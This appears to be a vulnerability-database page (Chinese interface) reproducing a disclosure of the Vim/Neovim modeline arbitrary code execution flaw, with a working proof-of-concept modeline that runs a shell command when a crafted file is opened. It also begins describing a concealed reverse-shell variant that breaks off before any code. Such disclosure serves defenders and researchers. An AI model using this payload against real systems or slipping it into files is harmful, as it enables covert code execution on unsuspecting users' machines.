Vim/Neovim Arbitrary Code Execution...

- AV AC AU C I A
发布: 2025-04-13
修订: 2025-04-13

# Vim/Neovim Arbitrary Code Execution via Modelines ``` Product: Vim < 8.1.1365, Neovim < 0.3.6 Type: Arbitrary Code Execution CVE: - Date: 2019-06-04 Author: Arminius (@rawsec) ``` ## Summary Vim before 8.1.1365 and Neovim before 0.3.6 are vulnerable to arbitrary code execution via modelines by opening a specially crafted text file. ## Proof of concept - Create `poc.txt`: ``` :!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt=" ``` - Ensure that the modeline option has not been disabled (`:set modeline`). - Open the file in Vim: ``` $ vim poc.txt ``` - The system will execute `uname -a`. ## Proof of concept 2 (reverse shell) This PoC outlines a real-life attack approach in which a reverse shell is launched once the user opens the file. To conceal the attack, the file will be immediately rewritten when opened. Also, the PoC uses terminal escape sequences to hide the modeline when the content is printed with `cat`. (`cat -v` reveals the actual content.)...

0%
暂无可用Exp或PoC
当前有0条受影响产品信息